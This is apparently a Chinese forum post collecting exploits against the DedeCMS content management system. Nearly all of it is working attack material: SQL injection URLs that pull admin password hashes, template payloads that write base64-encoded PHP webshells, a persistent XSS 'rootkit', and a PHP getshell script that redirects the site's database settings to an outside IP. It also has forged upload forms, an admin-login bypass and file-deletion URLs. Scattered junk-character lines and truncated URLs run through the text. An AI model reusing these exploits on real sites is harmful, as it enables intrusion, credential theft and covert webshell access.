dedecms漏洞总结

admin

Dedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1

9 y4 R* R0 E) E5 R! B

' J" T8 I$ k+ V, n5 s' z- i# P
/ i' z' |/ l( m) k) S4 s

( g7 e5 n7 r/ c- L! D

% Z  ~5 Y/ \* \+ u' O, w) iDedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。

, A8 l1 k: M5 f" y3 `
' k% {/ O7 A9 a: X, \
$ X  X1 t" g/ J0 }
8 [5 c2 P  d8 i  \
. N: x* u- D, u3 \3 O3 P
2 ]% c4 s4 w  D& ^2 ^# P# h

Dede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
, z$ Y: y, y( {7 \& J$ Whttp://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7


! `) Q9 R$ {6 Q

! J7 X8 L6 C9 C3 o% H7 V
# e, G, o' Y. [

1 U) J2 n7 S5 O4 }6 y3 z$ t
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
, d2 W  }+ a" A8 L1 I# L) nhttp://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
. s2 N+ f( n  ~2 l+ s# B

* L- H* D6 {% b) O



: f" M' C6 N6 B/ mDEDECMS 全版本 gotopage变量XSS漏洞
" o4 Y  L3 B5 i: Y2 X1 u3 B# j1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="
/ C. O3 E5 e6 |

2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
3 h. P9 ~9 a% T0 e( N
3 a; A3 |! H, E0 g, S6 u, ]# j, ]
http://v57.demo.dedecms.com/dede/login.php

- N2 C3 E  R; H5 g/ j
color=Red]DeDeCMS(织梦)变量覆盖getshell
#!usr/bin/php -w
<?php
error_reporting(E_ERROR);
# A- p0 i. ~8 R! o/ gset_time_limit(0);
* m5 b  Z2 N! u7 J7 ~print_r('
  r* I  D  W# w: n8 m. ?! QDEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
* f9 u$ Z/ G  l. {7 ~- \);
3 u, x; U  W( g8 H- zecho "\r\n";
if($argv[2]==null){
. \1 W' d9 g. Qprint_r('
+---------------------------------------------------------------------------+
* R' r+ S. e! L1 y6 DUsage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
) }5 N2 ^6 C1 D2 G* j6 x# D) P+ Fphp '.$argv[0].' www.site.com 1 old
7 j& j3 S& c" R+---------------------------------------------------------------------------+
');
exit;
$ g  ^8 A# t1 _: e$ k; w8 W/ \}
' e% M; U6 {: G6 o, a- t6 M$url=$argv[1];
3 G: }6 v, V' T$aid=$argv[2];
$path=$argv[3];
7 n) v& U) ^8 N0 z! }, E6 K$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
echo "
Exploit Success \n";
if($aid==1)echo "
; S: u2 E9 q- e# z$ XShell:".$url."/$path/data/cache/fuck.php\n" ;

& n% n4 R$ ?$ b5 I) A& o
$ e' ?( m- ^/ I1 x1 F% b) Aif($aid==2)echo "
2 X7 Y' b. {* ^. k& G( u- nShell:".$url."/$path/fuck.php\n" ;

8 r" p  S/ ]( a2 l2 X1 o$ ]$ W7 w
* c' U( t( ~. J4 E% q- x5 w  @: S6 Mif($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";
8 b; y# @' C$ E; _% X1 w% C  f

}else{
echo "
' f3 {+ |7 v& a7 s+ fExploit Failed \n";
5 {! G+ d: Z" E}
( ~/ }. V" d" q" }/ zfunction Getshell($url,$aid,$path){
  R1 z: q0 G4 D( r( i$id=$aid;
" Z( I% F) o% G- v7 B" d7 l% d4 G9 I' z$host=$url;
4 W$ P! E  ]" w1 _2 K8 H* c$port="80";
: S. J. P0 A% u% m1 T2 k; H$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
7 Y3 T5 C" h& {+ }$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
! [8 u1 t0 T9 i$data .= "Host: ".$host."\r\n";
3 v, C0 Q& m' Y) \$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
* w. ^% P' T1 G- v$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
" _+ b! p3 e$ @9 Q1 J$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
6 p! ]& @  F' @# J5 t$ock=fsockopen($host,$port);
if (!$ock) {
echo "
No response from ".$host."\n";
7 |1 V' O( `& j7 L6 e# P( u  |}
: O* ]" y$ g9 w; _fwrite($ock,$data);
while (!feof($ock)) {
$exp=fgets($ock, 1024);
return $exp;
* s; E9 m3 C* |}
}

- @' [) g2 }. J) s0 E4 X
5 F, C; P$ L$ k; o% }?>
5 U! E6 e; P  z1 P& W
5 _9 v# {* w; Y; h2 Q1 P
; r  t2 R7 D9 }" l+ z2 m. i
& h9 i. L1 u" U4 e  j% O




/ U) i5 q4 k6 {# I1 m8 `' q
: [8 \  m) `1 [7 w6 a( V2 E
9 _, W& F$ A; t5 M" B% A5 {DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
+ ~$ E( O5 S; l$ i% ihttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
& f3 m% m+ Z" k2 x) V

+ ~# {1 a7 |  s6 N# o8 \, k* [把上面validate=dcug改为当前的验证码，即可直接进入网站后台

: E3 p* k- X) o9 {7 Z
7 A/ E2 f) a: ~* n此漏洞的前提是必须得到后台路径才能实现








* [. Q0 K+ S3 C9 H0 h# b4 |, j
5 t) K3 V8 K/ i0 b& i1 |
& w5 Y+ ]& v1 w- Q$ [. x5 Q  ODedecms织梦 标签远程文件写入漏洞
前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');


9 i1 R6 @) L( ^) A. }& B4 y% J1 ?4 d6 Z再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
$ f, ^, y3 D9 [3 U* }" X# L( L<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
3 B. ?% Y$ R& T<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
  g2 J- F5 S/ y: J<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
. v9 T( f$ O- N: t; C, L# t<script>
function addaction()
{
* f- W: z: ^& W4 z  G8 ndocument.QuickSearch.action=document.QuickSearch.doaction.value;
; D, h0 j& y( o- n) P1 s( [& ^5 j}
</script>

7 U0 Z+ d6 l2 C: m& h# [
" f7 R- P: d2 _9 ?- c3 X' ]
+ v8 Y* k2 u% l9 O5 u+ a3 [1 p

1 z6 N8 N; G! N% w

6 }" H) r/ h: I: ?1 c" {4 {5 v3 B
4 M4 z! }5 G  U: ]9 a, G; I6 g

DedeCms v5.6 嵌入恶意代码执行漏洞
3 X% b! t2 H$ W* J注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
7 }8 v' }) O! Y; {5 BDedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
3 L- F' d  v0 a& ^; uuploads/userup/2/12OMX04-15A.jpg
9 V8 q2 ]; o, g: w% j+ U
9 K( g# G9 [$ `' i
模板内容是（如果限制图片格式，加gif89a）：
* P) c- r+ s# H- y5 T" |' G{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
( O$ s# S/ h  |( `' V( W; Y{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
7 q) l$ v6 e% ~/ k1 J<input type="hidden" name="aid" value="2" />
! e# G' _4 f3 S" j3 G<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
; [/ g! S) X) S+ Q4 O7 K. D$ h. |<input type="hidden" name="channelid" value="1" />
3 D( d4 L; Y* B<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />

- i8 T5 i6 G3 U: g; m
<div id="mainCp">
7 t- x. {& M6 {$ S<h3 class="meTitle"><strong>修改文章</strong></h3>
' H# Q- y# S. R/ Z& U' s- H& w) @' N

, a0 I; ^! E" ^<div class="postForm">
<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
1 m" ~  u5 ^- W7 i* C) L# }
1 H- i5 m5 ~- R' s) d! _
( |( v# G5 C5 ?# A. t0 _<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
; O+ [' U) b* {+ V4 `+ M

9 ^8 J6 x9 B- z& x8 h. k1 x- j<label>作者：</label>
) B: v* x1 b6 S6 F' Q$ O' K8 a* ^<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
0 b3 c" u  E5 V2 p! b' y2 l7 N  T. g
+ }; x$ O6 [) U1 @
<label>隶属栏目：</label>
  k' Q$ T9 G6 H( Y0 a7 ?' i<select name='typeid' size='1'>
; y- u& Q9 i. ]<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)


) T1 s6 l! R/ A/ t# A) X, Q+ b<label>我的分类：</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
# |. M7 K' h( D# N<option value='1' class='option3' selected>hahahha</option>
</select>
$ U5 I9 ]7 J1 L8 h5 P4 o

+ o9 {1 l* a; A; V4 Z<label>信息摘要：</label>
7 D% q3 ~9 k$ P+ x7 Y5 U/ f<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)


" p0 @6 C2 g: U9 F, V$ r9 B<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
4 {' n; A+ k) V9 p( Z0 B+ {' E
) Y8 t6 u; n) Z! W- w5 k2 x1 s
<input type='text' name='templet'
/ Z& H6 V9 l2 x/ N- @0 Z, Dvalue="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
</div>

6 `+ i7 S' R# c) n3 v
1 M9 K: H" g- K! \" \: P8 R9 N<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>
& G6 b/ `: d4 \) n' K+ A
( j3 z* B& R6 H8 O2 p$ o
<div class="contentShow postForm">
, ]3 h8 L# ~1 u4 Y0 |<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
4 K- |& G* o( S2 J; {

! D7 W- l9 ?$ f; ?* S0 A; b<label>验证码：</label>
6 ~) J! d* z) }<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
+ P. B1 a5 \5 t5 |* s
% j8 g# ^4 L8 z. k5 C+ N/ c
  h& v9 q; f4 Z! `7 G<button class="button2" type="submit">提交</button>
6 b% B2 e2 |- O; h) l9 s2 ]<button class="button2 ml10" type="reset">重置</button>
+ C4 ?; R, o' L3 R# F+ B6 z</div>


</div>
. F" ~; }) i: h8 @4 o: c
9 ~: d1 m8 Q: r/ b3 i
( X. O1 O8 p3 _</form>
3 t$ {! [& r% B7 \3 f( {

0 O9 h8 @0 H/ X/ U" K7 x" x提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
! u( y- l  a$ F# a* K+ |假设刚刚修改的文章的aid为2，则我们只需要访问：
0 a) y( D3 @) `http://127.0.0.1/dede/plus/view.php?aid=2
4 Y' G3 B% O/ k- ]+ x即可以在plus目录下生成webshell：1.php

! T, i' u# C' I* c  m



) M! Z" y7 g" V' p* e, V
7 R- n2 t" ~* Q
% b3 p1 C) D2 y3 f1 c3 V




DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
Gif89a{dede:field name='toby57' runphp='yes'}
& l" F0 Z3 M4 Q4 L" [! Mphpinfo();
{/dede:field}
保存为1.gif
. a$ ^( E$ Q. L<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
( y8 z& X9 M1 D<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
! C- u- f0 `4 K, X  D1 }<input type="hidden" name="dopost" value="save" />
% F  g4 l* V( r<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
- C: v) h' f- w3 t  b# v<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
</form>
+ m5 v6 B  l# r; G$ P5 S: L' x

2 e+ k, B3 D# R: i9 {3 ]7 d! P构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：
: ^7 c  z8 j  i
6 O" Z8 \7 I3 ?+ J/ X
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
! _& r5 a( v! G8 O' H( r<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
# j5 H, z5 ?( i9 A/ N<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
- L. J2 k0 u. ]# V<select name='mtypesid' size='1'>
- _4 Q- r9 C" G' t7 d3 G& S<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
- y3 S) |) i5 S5 o4 y<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
; l" Z1 h5 H, A6 s3 K2 E+ e8 O+ o</form>

. s; U6 c* t( {( F  O$ Z* p



6 i; h6 ~6 w9 H2 }' S, P. F7 c

: k7 W" R  \- e1 d
; z" P; `3 a4 a! I
, s! N% d; x& E' x! j9 A0 r. ]3 @! A


织梦(Dedecms)V5.6 远程文件删除漏洞
" D* X& D2 y: \+ u6 Q( N" [http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif

- `: Z3 Y* f& |$ ^; H6 J7 {' s



# S! I4 K, L8 p
8 e: ~$ D- _& s" v; _  n5 x* Z

& ]* |  U* a- I7 _2 E! p
& g$ U  K% O4 K, E, M
( B$ u, S$ L2 l织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
  U6 b' c! V9 a# a! dhttp://www.test.com/plus/carbuya ... urn&code=../../
6 K5 T0 R) N* _* h% p9 q3 ^1 A
9 g* e  J. [: s# ]3 ]7 L
6 G. S3 I) U/ n, [; X


( R' t) l% V0 L/ \' Z- E
( w5 a6 ^# z4 m- f) o7 S
8 V) g2 R  M5 E, Q2 }


+ g( h/ k9 }- F1 \8 |- Z3 L# zDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
4 t3 Z0 W0 R* `! f- O, j. R6 tplus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
* K9 ^: x# n( @1 i; S




6 g& h& K4 ~6 v5 m; J
1 Q  J( q# l) \8 D2 d

6 q& b5 K. C  C8 O5 Q3 q
+ r* p9 Q0 u: B) \  ?
织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='

. x: Q) x& p" b( e9 Q- {: F$ c

' H- D/ F" @# z: C


* ?( V2 b/ o4 i0 j/ d' e
. v# i1 @, P' b7 Y6 n
7 v! Z* d, d6 a) [" L! ^6 t

织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
/ V; e, g  b' Q/ ?  f( Z<html>
<head>
6 ?  D6 Z  s5 b<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
" h& o, F" ~8 q9 y, d0 \( g' I, [& b</head>
<body style="FONT-SIZE: 9pt">
+ c- T1 ?9 Z. `, g! [  b4 B1 w---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
3 `; s% \2 o0 r9 ?. s3 X2 T<input type='hidden' name='cfg_softtype' value='php' />
; u. k% N, @7 Q/ P. Z. j' q<input type='hidden' name='cfg_mediatype' value='php' />
$ ?1 O8 d# \' j; ~0 k<input type='hidden' name='f' value='form1.enclosure' />
& Y, f2 ]( s- L7 B/ [/ b<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
5 m, F9 m& Z9 E% z6 \8 A4 A</form>
, u! `8 s8 h% G, l3 W+ }  @<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
. K2 u$ ?  S; P) E8 h. n5 Q</body>
, |$ T, }) M; l( ~, X</html>
0 C6 B" }2 o$ {* J  @+ t


/ V) [$ o# ~: r, E9 c


0 f3 w, [0 C- d; h: j( }6 i7 G

7 a( ]1 t& E# k, z  F) R
. [1 `+ H$ q, v8 p# A' T
9 C. g0 {/ I* k织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
. s9 ?7 `/ m( Z! J3 m. O4 ~利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
9 L+ W' M4 U& I# |3 i& F可看见错误信息

1 ]  J7 F% }. C0 f9 p0 q' u
; _( @1 @+ }. G3 x  j+ K. j& f* T2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
' ?+ t7 f$ D( I: ]int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
2 _1 b3 }* b8 O) t

3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
, [1 x  S5 @! Y8 x' [$ [) d% f

6 l8 F/ @5 j. g: n8 f<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>

# D+ g! B. p4 i
2 `4 I9 y( N1 `% r7 H! t- C% e按确定后的看到第2步骤的信息表示文件木马上传成功.




& l' I9 @0 n8 V+ ]# p5 S; Z# V
7 l; J5 S* k7 a

5 O7 m2 K0 J9 i




织梦(DedeCms)plus/infosearch.php 文件注入漏洞
& V2 X2 P) t4 F, z' P" thttp://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*